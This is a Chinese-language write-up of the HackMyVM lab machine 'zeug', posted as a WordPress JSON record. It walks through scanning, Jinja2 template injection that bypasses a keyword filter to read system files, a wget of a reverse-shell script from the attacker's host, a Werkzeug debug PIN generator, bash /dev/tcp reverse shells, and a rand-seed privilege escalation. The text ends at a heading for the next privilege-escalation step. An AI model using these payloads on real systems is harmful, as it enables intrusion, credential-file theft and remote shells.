{"id":471,"date":"2024-03-28T18:27:37","date_gmt":"2024-03-28T10:27:37","guid":{"rendered":"http:\/\/162.14.82.114\/?p=471"},"modified":"2024-03-30T16:15:40","modified_gmt":"2024-03-30T08:15:40","slug":"hmv-_-zeug","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/471\/03\/28\/2024\/","title":{"rendered":"hmv[-_-]zeug"},"content":{"rendered":"

zeug<\/h1>\n
\n

\u5bfc\u5165\u9776\u573a\u65f6\uff0c\u5efa\u8bae\u4f7f\u7528\u4e3a\u6240\u6709\u7f51\u5361\u91cd\u65b0\u751f\u6210MAC\u5730\u5740\u3002<\/p>\n<\/blockquote>\n

\"image-20240328135716613\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
nmap -sCV 10.0.2.13<\/code><\/pre>\n
PORT     STATE SERVICE VERSION\n21\/tcp   open  ftp     vsftpd 3.0.3\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n|_-rw-r--r--    1 0        0             109 Jan 06 23:14 README.txt\n| ftp-syst: \n|   STAT: \n| FTP server status:\n|      Connected to ::ffff:10.0.2.4\n|      Logged in as ftp\n|      TYPE: ASCII\n|      No session bandwidth limit\n|      Session timeout in seconds is 300\n|      Control connection is plain text\n|      Data connections will be plain text\n|      At session startup, client count was 1\n|      vsFTPd 3.0.3 - secure, fast, stable\n|_End of status\n5000\/tcp open  upnp?\n| fingerprint-strings: \n|   GetRequest: \n|     HTTP\/1.1 200 OK\n|     Server: Werkzeug\/3.0.1 Python\/3.11.2\n|     Date: Thu, 28 Mar 2024 05:58:16 GMT\n|     Content-Type: text\/html; charset=utf-8\n|     Content-Length: 549\n|     Connection: close\n|     <!DOCTYPE html>\n|     <html lang="en">\n|     <head>\n|     <meta charset="UTF-8">\n|     <meta name="viewport" content="width=device-width, initial-scale=1.0">\n|     <title>Zeug<\/title>\n|     <link rel="stylesheet" type="text\/css" href="\/static\/styles\/styles.css">\n|     <\/head>\n|     <body>\n|     <h1>Zeug<\/h1>\n|     <h3>Rendering HTML templates<\/h3>\n|     <form action="\/" method="post" enctype="multipart\/form-data">\n|     <input type="file" name="file" accept=".html" title="Select file" required>\n|     <input type="submit" value="Upload">\n|     <\/form>\n|     <\/body>\n|     <\/html>\n|   HTTPOptions: \n|     HTTP\/1.1 200 OK\n|     Server: Werkzeug\/3.0.1 Python\/3.11.2\n|     Date: Thu, 28 Mar 2024 05:58:31 GMT\n|     Content-Type: text\/html; charset=utf-8\n|     Allow: OPTIONS, GET, POST, HEAD\n|     Content-Length: 0\n|     Connection: close\n|   RTSPRequest: \n|     <!DOCTYPE HTML>\n|     <html lang="en">\n|     <head>\n|     <meta charset="utf-8">\n|     <title>Error response<\/title>\n|     <\/head>\n|     <body>\n|     <h1>Error response<\/h1>\n|     <p>Error code: 400<\/p>\n|     <p>Message: Bad request version ('RTSP\/1.0').<\/p>\n|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.<\/p>\n|     <\/body>\n|_    <\/html>\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\nSF-Port5000-TCP:V=7.94SVN%I=7%D=3\/28%Time=660506F8%P=x86_64-pc-linux-gnu%r\nSF:(GetRequest,2D3,"HTTP\/1\\.1\\x20200\\x20OK\\r\\nServer:\\x20Werkzeug\/3\\.0\\.1\\\nSF:x20Python\/3\\.11\\.2\\r\\nDate:\\x20Thu,\\x2028\\x20Mar\\x202024\\x2005:58:16\\x2\nSF:0GMT\\r\\nContent-Type:\\x20text\/html;\\x20charset=utf-8\\r\\nContent-Length:\nSF:\\x20549\\r\\nConnection:\\x20close\\r\\n\\r\\n<!DOCTYPE\\x20html>\\n<html\\x20lan\nSF:g=\\"en\\">\\n<head>\\n\\x20\\x20\\x20\\x20<meta\\x20charset=\\"UTF-8\\">\\n\\x20\\x2\nSF:0\\x20\\x20<meta\\x20name=\\"viewport\\"\\x20content=\\"width=device-width,\\x2\nSF:0initial-scale=1\\.0\\">\\n\\x20\\x20\\x20\\x20<title>Zeug<\/title>\\n\\x20\\x20\\x\nSF:20\\x20<link\\x20rel=\\"stylesheet\\"\\x20type=\\"text\/css\\"\\x20href=\\"\/stati\nSF:c\/styles\/styles\\.css\\">\\n<\/head>\\n<body>\\n\\x20\\x20\\x20\\x20<h1>Zeug<\/h1>\nSF:\\n\\x20\\x20\\x20\\x20<h3>Rendering\\x20HTML\\x20templates<\/h3>\\n\\n\\x20\\x20\\x\nSF:20\\x20<form\\x20action=\\"\/\\"\\x20method=\\"post\\"\\x20enctype=\\"multipart\/f\nSF:orm-data\\">\\n\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20<input\\x20type=\\"file\\"\\x2\nSF:0name=\\"file\\"\\x20accept=\\"\\.html\\"\\x20title=\\"Select\\x20file\\"\\x20requ\nSF:ired>\\n\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20<input\\x20type=\\"submit\\"\\x20val\nSF:ue=\\"Upload\\">\\n\\x20\\x20\\x20\\x20<\/form>\\n\\n\\x20\\x20\\x20\\x20\\n\\n\\x20\\x20\nSF:\\x20\\x20\\n<\/body>\\n<\/html>")%r(RTSPRequest,16C,"<!DOCTYPE\\x20HTML>\\n<ht\nSF:ml\\x20lang=\\"en\\">\\n\\x20\\x20\\x20\\x20<head>\\n\\x20\\x20\\x20\\x20\\x20\\x20\\x2\nSF:0\\x20<meta\\x20charset=\\"utf-8\\">\\n\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20<titl\nSF:e>Error\\x20response<\/title>\\n\\x20\\x20\\x20\\x20<\/head>\\n\\x20\\x20\\x20\\x20<\nSF:body>\\n\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20<h1>Error\\x20response<\/h1>\\n\\x20\nSF:\\x20\\x20\\x20\\x20\\x20\\x20\\x20<p>Error\\x20code:\\x20400<\/p>\\n\\x20\\x20\\x20\\\nSF:x20\\x20\\x20\\x20\\x20<p>Message:\\x20Bad\\x20request\\x20version\\x20\\('RTSP\/\nSF:1\\.0'\\)\\.<\/p>\\n\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20<p>Error\\x20code\\x20expl\nSF:anation:\\x20400\\x20-\\x20Bad\\x20request\\x20syntax\\x20or\\x20unsupported\\x\nSF:20method\\.<\/p>\\n\\x20\\x20\\x20\\x20<\/body>\\n<\/html>\\n")%r(HTTPOptions,CD,"\nSF:HTTP\/1\\.1\\x20200\\x20OK\\r\\nServer:\\x20Werkzeug\/3\\.0\\.1\\x20Python\/3\\.11\\.\nSF:2\\r\\nDate:\\x20Thu,\\x2028\\x20Mar\\x202024\\x2005:58:31\\x20GMT\\r\\nContent-T\nSF:ype:\\x20text\/html;\\x20charset=utf-8\\r\\nAllow:\\x20OPTIONS,\\x20GET,\\x20PO\nSF:ST,\\x20HEAD\\r\\nContent-Length:\\x200\\r\\nConnection:\\x20close\\r\\n\\r\\n");\nService Info: OS: Unix<\/code><\/pre>\n
\"image-20240328140322970\"<\/div><\/p>\n
\u6f0f\u6d1e\u6316\u6398<\/h2>\n
\u5c1d\u8bd5\u8fde\u63a5ftp<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~]\n\u2514\u2500$ ftp 10.0.2.13\nConnected to 10.0.2.13.\n220 (vsFTPd 3.0.3)\nName (10.0.2.13:kali): ftp\n331 Please specify the password.\nPassword: \n230 Login successful.\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp> ls\n229 Entering Extended Passive Mode (|||52547|)\n150 Here comes the directory listing.\n-rw-r--r--    1 0        0             109 Jan 06 23:14 README.txt\n226 Directory send OK.\nftp> get README.txt\nlocal: README.txt remote: README.txt\n229 Entering Extended Passive Mode (|||48843|)\n150 Opening BINARY mode data connection for README.txt (109 bytes).\n100% |**************************************************************************|   109        2.72 KiB\/s    00:00 ETA\n226 Transfer complete.\n109 bytes received in 00:00 (2.67 KiB\/s)<\/code><\/pre>\n
README.txt<\/code>\u5185\u5bb9\u4e3a\uff1a<\/p>\n
Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches.<\/code><\/pre>\n
\u67e5\u770b\u9875\u9762<\/h3>\n
<!DOCTYPE html>\n<html lang="en">\n<head>\n    <meta charset="UTF-8">\n    <meta name="viewport" content="width=device-width, initial-scale=1.0">\n    <title>Zeug<\/title>\n    <link rel="stylesheet" type="text\/css" href="\/static\/styles\/styles.css">\n<\/head>\n<body>\n    <h1>Zeug<\/h1>\n    <h3>Rendering HTML templates<\/h3>\n    <form action="\/" method="post" enctype="multipart\/form-data">\n        <input type="file" name="file" accept=".html" title="Select file" required>\n        <input type="submit" value="Upload">\n    <\/form>\n<\/body>\n<\/html><\/code><\/pre>\n
SSTI \u6a21\u677f\u6ce8\u5165<\/h3>\n
\u5c1d\u8bd5\u6a21\u677f\u6ce8\u5165\uff0c\u4f20\u4e00\u4e2a\u7b80\u5355\u7684html\u4e0a\u53bb\uff1a<\/p>\n
<!DOCTYPE html>\n<html>\n    <head>\n        HelloWorld!\n    <\/head>\n    <body>\n        {{9*9}}\n    <\/body>\n<\/html><\/code><\/pre>\n
\"image-20240328141531197\"<\/div><\/p>\n
\u770b\u6765\u771f\u7684\u5b58\u5728\u6a21\u677f\u6ce8\u5165\u4e86\uff01<\/p>\n
\n
https:\/\/swisskyrepo.github.io\/PayloadsAllTheThings\/Server%20Side%20Template%20Injection\/#jinja2-debug-statement<\/a><\/p>\n<\/blockquote>\n
{{os.system('whoami')}}<\/code><\/pre>\n
Error: File: \/home\/cosette\/zeug\/venv\/lib\/python3.11\/site-packages\/flask\/app.py - Template contains restricted words: os<\/code><\/pre>\n
{{ [].class.base.subclasses() }}<\/code><\/pre>\n
Error: File: \/home\/cosette\/zeug\/venv\/lib\/python3.11\/site-packages\/flask\/app.py - Template contains restricted words: subclasses, [, ]<\/code><\/pre>\n
{{ self.__init__.__globals__.__builtins__ }}<\/code><\/pre>\n
Error: File: \/home\/cosette\/zeug\/venv\/lib\/python3.11\/site-packages\/flask\/app.py - Template contains restricted words: init<\/code><\/pre>\n
{{ get_flashed_messages.__globals__.__builtins__.open("\/etc\/passwd").read() }}<\/code><\/pre>\n
\"image-20240328153310165\"<\/div><\/p>\n
\u53d1\u73b0\u4e24\u4e2a\u7528\u6237cosette<\/code>\u548cexia<\/code>.<\/p>\n
\u65b9\u6cd5\u4e00\uff1a\u6a21\u677f\u6ce8\u5165<\/h3>\n
\u5148\u67e5\u770b\u4e00\u4e0b\u5185\u7f6e\u51fd\u6570\uff1a<\/p>\n
{{lipsum.__globals__.__builtins__}}<\/code><\/pre>\n
<html> <head> HelloWorld! <\/head> <body> {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\\n\\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'BaseExceptionGroup': <class 'BaseExceptionGroup'>, 'Exception': <class 'Exception'>, 'GeneratorExit': <class 'GeneratorExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'SystemExit': <class 'SystemExit'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BufferError': <class 'BufferError'>, 'EOFError': <class 'EOFError'>, 'ImportError': <class 'ImportError'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'OSError': <class 'OSError'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SystemError': <class 'SystemError'>, 'TypeError': <class 'TypeError'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'BlockingIOError': <class 'BlockingIOError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionError': <class 'ConnectionError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'InterruptedError': <class 'InterruptedError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'RecursionError': <class 'RecursionError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeError': <class 'UnicodeError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'TabError': <class 'TabError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ExceptionGroup': <class 'ExceptionGroup'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2023 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserved. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam. All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.} <\/body> <\/html><\/code><\/pre>\n
\u67e5\u770b\u4e00\u4e0b\u7528\u6237\u540d\uff1a<\/p>\n
{{lipsum.__globals__.__builtins__.eval("__im""port__('o''s').pop""en('whoami').read()")}}<\/code><\/pre>\n
<html> <head> HelloWorld! <\/head> <body> cosette <\/body> <\/html><\/code><\/pre>\n
\u5c1d\u8bd5\u4e0a\u4f20\u4e00\u4e2a\u53cd\u5f39shell\uff1a<\/p>\n
{{lipsum.__globals__.__builtins__.eval("__im""port__('o''s').pop""en('wget http:\/\/10.0.2.4:8888\/rev.sh').read()")}}<\/code><\/pre>\n
\"image-20240328160430291\"<\/div><\/p>\n
\u6267\u884c\u4e00\u4e0b\uff1a<\/p>\n
{{lipsum.__globals__.__builtins__.eval("__im""port__('o''s').pop""en('bash rev.sh').read()")}}<\/code><\/pre>\n
\"image-20240328160917535\"<\/div><\/p>\n
\u62ff\u5230shell\u4e86\uff01<\/p>\n
\u65b9\u6cd5\u4e8c\uff1a\u7834\u89e3PIN<\/h3>\n
\u8fd9\u91cc\u6211\u56e0\u4e3a\u6709\u4e8b\u60c5\u65ad\u5f00\u4e86\uff0c\u91cd\u542f\u4ee5\u540e\u6539\u7528\u6865\u63a5\u65b9\u4fbf\u5728\u672c\u673a\u4e0a\u64cd\u4f5c\u4e86\uff0c\u4e0d\u5f71\u54cd\u4efb\u4f55\u4e1c\u897f\u3002<\/p>\n
\u56e0\u4e3adebug<\/code>\u5f00\u542f\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u8bbf\u95eeconsole<\/code>\uff0c\u4f46\u662f\u9700\u8981 pin \u7801\u3002<\/p>\n
\"image-20240328155306443\"<\/div><\/p>\n
\u8fd9\u4e2apin\u5b58\u5728\u6f0f\u6d1e\u53ef\u4ee5\u83b7\u53d6\uff1ahttps:\/\/github.com\/wdahlenburg\/werkzeug-debug-console-bypass<\/a><\/p>\n
# get_pin.py\nimport hashlib\nfrom itertools import chain\n\nprobably_public_bits = [\n    'user',\n    'flask.app',\n    'Flask',\n    '\/usr\/local\/lib\/python3.5\/dist-packages\/flask\/app.py'\n]\n\nprivate_bits = [\n    '279275995014060',\n    'd4e6cb65d59544f3331ea0425dc555a1'\n]\n\nh = hashlib.sha1() # or hashlib.md5()\nfor bit in chain(probably_public_bits, private_bits):\n    if not bit:\n        continue\n    if isinstance(bit, str):\n        bit = bit.encode('utf-8')\n    h.update(bit)\nh.update(b'cookiesalt')\n#h.update(b'shittysalt')\n\ncookie_name = '__wzd' + h.hexdigest()[:20]\n\nnum = None\nif num is None:\n    h.update(b'pinsalt')\n    num = ('%09d' % int(h.hexdigest(), 16))[:9]\n\nrv =None\nif rv is None:\n    for group_size in 5, 4, 3:\n        if len(num) % group_size == 0:\n            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')\n                          for x in range(0, len(num), group_size))\n            break\n    else:\n        rv = num\n\nprint(rv)<\/code><\/pre>\n
\u6211\u4eec\u9700\u8981\u4fee\u6539\u56db\u4e2a\u5730\u65b9\uff1a<\/p>\n
probably_public_bits = [\n    'user',                                                           # 1\n    'flask.app',                                                  \n    'Flask',                                                      \n    '\/usr\/local\/lib\/python3.5\/dist-packages\/flask\/app.py'         # 2\n]\n\nprivate_bits = [\n    '279275995014060',                                                # 3 \n    'd4e6cb65d59544f3331ea0425dc555a1'                                # 4\n]<\/code><\/pre>\n
\u7528\u6237\u540d\u4fe1\u606f<\/h4>\n
\u524d\u9762\u6709\u4e00\u4e2a\u62a5\u9519\uff1a<\/p>\n
Error: File: \/home\/cosette\/zeug\/venv\/lib\/python3.11\/site-packages\/flask\/app.py - Template contains restricted words: init<\/code><\/pre>\n
\u6240\u4ee5\u5f88\u660e\u663e\uff0c\u7528\u6237\u540d\u4e3a\uff1acosette<\/code><\/p>\n
app.py \u5730\u5740\u4fe1\u606f<\/h4>\n
\/home\/cosette\/zeug\/venv\/lib\/python3.11\/site-packages\/flask\/app.py<\/code><\/p>\n
MAC\u5730\u5740\u4fe1\u606f<\/h4>\n
#3<\/code> \u7684\u5185\u5bb9\u9700\u8981\u7684\u662fmac\u5730\u5740\u4fe1\u606f\uff1a\u6211\u7684\u662f08:00:27:25:b4:6c<\/code>\uff0c\u4f7f\u7528python\u8f6c\u6362\u4e00\u4e0b\u8fdb\u5236\u5373\u53ef\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ python3                 \nPython 3.11.8 (main, Feb  7 2024, 21:52:08) [GCC 13.2.0] on linux\nType "help", "copyright", "credits" or "license" for more information.\n>>> print(0x08002725b46c)   # \u5c06\u5192\u53f7\u53bb\u6389\u6700\u524d\u9762\u52a0\u4e0a0x\u5373\u53ef\n8796749804652<\/code><\/pre>\n
Machine ID<\/h4>\n
\u6b63\u5e38\u60c5\u51b5\u53ef\u4ee5\u4f7f\u7528\u811a\u672c\u83b7\u53d6\uff1a<\/p>\n
machine_id = b""\nfor filename in "\/etc\/machine-id", "\/proc\/sys\/kernel\/random\/boot_id":\n    try:\n        with open(filename, "rb") as f:\n            value = f.readline().strip()\n    except OSError:\n        continue\n\n    if value:\n        machine_id += value\n        break\ntry:\n    with open("\/proc\/self\/cgroup", "rb") as f:\n        machine_id += f.readline().strip().rpartition(b"\/")[2]\nexcept OSError:\n    pass\n\nprint(machine_id)<\/code><\/pre>\n
\u4f46\u662f\u6211\u4eec\u8fd9\u8fb9\u662f\u4e0a\u4f20\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u6784\u9020payload\u83b7\u53d6\uff1a<\/p>\n
{{ get_flashed_messages.__globals__.__builtins__.open("\/etc\/machine-id").read() }}\n# <html> <head> HelloWorld! <\/head> <body> 48329e233f524ec291cce7479927890b <\/body> <\/html>\n{{ get_flashed_messages.__globals__.__builtins__.open("\/proc\/sys\/kernel\/random\/boot_id").read() }}\n# <html> <head> HelloWorld! <\/head> <body> 3f935d08-760e-4f78-aa51-e59eac98390a <\/body> <\/html>\n{{ get_flashed_messages.__globals__.__builtins__.open("\/proc\/self\/cgroup").read() }}\n# <html> <head> HelloWorld! <\/head> <body> 0::\/system.slice\/zeug-app.service <\/body> <\/html><\/code><\/pre>\n
\u521b\u5efa\u6587\u4ef6\uff0c\u653e\u5165\u6211\u4eec\u641c\u96c6\u5230\u7684\u4fe1\u606f\uff0c\u66f4\u6539\u4e00\u4e0b\u811a\u672c\uff0c\u7136\u540e\u8fd0\u884c\uff1a<\/p>\n
machine_id = b""\nfor filename in "machine-id", "boot_id":\n    try:\n        with open(filename, "rb") as f:\n            value = f.readline().strip()\n    except OSError:\n        continue\n\n    if value:\n        machine_id += value\n        break\ntry:\n    with open("cgroup", "rb") as f:\n        machine_id += f.readline().strip().rpartition(b"\/")[2]\nexcept OSError:\n    pass\n\nprint(machine_id)<\/code><\/pre>\n
\u8fd0\u884c\u7ed3\u679c\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ echo "48329e233f524ec291cce7479927890b" > machine-id\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ echo "3f935d08-760e-4f78-aa51-e59eac98390a" > boot_id\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ echo "0::\/system.slice\/zeug-app.service" > cgroup    \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ vim mi.py    \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ chmod +x mi.py  \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ python3 mi.py           \nb'48329e233f524ec291cce7479927890bzeug-app.service'<\/code><\/pre>\n
\u66f4\u6539\u6574\u4f53\u811a\u672c<\/h4>\n
# get_pin.py\nimport hashlib\nfrom itertools import chain\n\nprobably_public_bits = [\n    'cosette',\n    'flask.app',\n    'Flask',\n    '\/home\/cosette\/zeug\/venv\/lib\/python3.11\/site-packages\/flask\/app.py'\n]\n\nprivate_bits = [\n    '8796749804652',\n    '48329e233f524ec291cce7479927890bzeug-app.service'\n]\n\nh = hashlib.sha1() # or hashlib.md5()\nfor bit in chain(probably_public_bits, private_bits):\n    if not bit:\n        continue\n    if isinstance(bit, str):\n        bit = bit.encode('utf-8')\n    h.update(bit)\nh.update(b'cookiesalt')\n#h.update(b'shittysalt')\n\ncookie_name = '__wzd' + h.hexdigest()[:20]\n\nnum = None\nif num is None:\n    h.update(b'pinsalt')\n    num = ('%09d' % int(h.hexdigest(), 16))[:9]\n\nrv =None\nif rv is None:\n    for group_size in 5, 4, 3:\n        if len(num) % group_size == 0:\n            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')\n                          for x in range(0, len(num), group_size))\n            break\n    else:\n        rv = num\n\nprint(rv)<\/code><\/pre>\n
\u8fd0\u884c\u5f97\u5230 pin \u7801\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ vim get-pin.py\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ chmod +x get-pin.py \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ python3 get-pin.py \n367-506-961<\/code><\/pre>\n
\"image-20240328165626788\"<\/div><\/p>\n
\u4e0d\u77e5\u9053\u54ea\u91cc\u51fa\u9519\u4e86\u3002\u3002\u3002\u3002\u5220\u9664\u673a\u5668\uff0c\u91cd\u65b0\u5bfc\u5165\u673a\u5668\u5e76\u4e3a\u673a\u5668\u6240\u6709\u7f51\u5361\u91cd\u65b0\u8d4b\u4e88MAC\u5730\u5740\u3002<\/p>\n
\u518d\u6b21\u5c1d\u8bd5\uff1a<\/p>\n
\"image-20240328172650120\"<\/div><\/p>\n
\u6210\u529f\uff01<\/p>\n
Console RCE<\/h3>\n
__import__('os').popen('whoami').read();\n__import__('os').system("bash -i >& \/dev\/tcp\/172.20.10.8\/1234 0>&1")\n__import__('os').system('bash -c "bash -i >& \/dev\/tcp\/172.20.10.8\/1234 0>&1"')<\/code><\/pre>\n
\"image-20240328173404084\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
\"image-20240328174036683\"<\/div><\/p>\n
\u67e5\u770bseed_back<\/h3>\n
file seed_bak     \nseed_bak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, BuildID[sha1]=403ea35a235b0a4c74f7977580b4ef46fcd0f044, for GNU\/Linux 4.4.0, not stripped<\/code><\/pre>\n
\u4e22\u8fdbida<\/code>\u770b\u4e00\u4e0b\uff1a<\/p>\n
\/\/ main.c\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n  int v4; \/\/ [rsp+Ch] [rbp-14h]\n  int v5; \/\/ [rsp+10h] [rbp-10h]\n  int v6; \/\/ [rsp+14h] [rbp-Ch]\n  unsigned __int64 v7; \/\/ [rsp+18h] [rbp-8h]\n\n  v7 = __readfsqword(0x28u);\n  banner(*(_QWORD *)&argc, argv, envp);\n  srand(1u);\n  v5 = rand();\n  v6 = -559038737;\n  v4 = 0;\n  printf("Enter a number: ");\n  __isoc99_scanf("%d", &v4);\n  if ( v6 == (v5 ^ v4) )\n    system("\/bin\/bash");\n  else\n    puts("Wrong.");\n  return 0;\n}<\/code><\/pre>\n
\u4f2a\u968f\u673a\u6570+\u5207\u6362exia\u7528\u6237<\/h3>\n
\u662f\u4e00\u4e2a\u4f2a\u968f\u673a\u6570\uff0c\u5199\u4e00\u4e2a\u811a\u672c\u5229\u7528\u4e00\u4e0b\uff1a<\/p>\n
#include <stdio.h>\n#include <stdlib.h>\nint main() {\n    srand(1u);\n    int v5 = rand();\n    int v6 = -559038737;\n    printf("%d\\n", v5 ^ v6);\n    return 0;\n}\n\/\/ -1255736440<\/code><\/pre>\n
\"image-20240328180730702\"<\/div><\/p>\n
\u4e8c\u6b21\u63d0\u6743<\/h3>\n
\u4fe1\u606f\u641c\u96c6<\/h4>\n
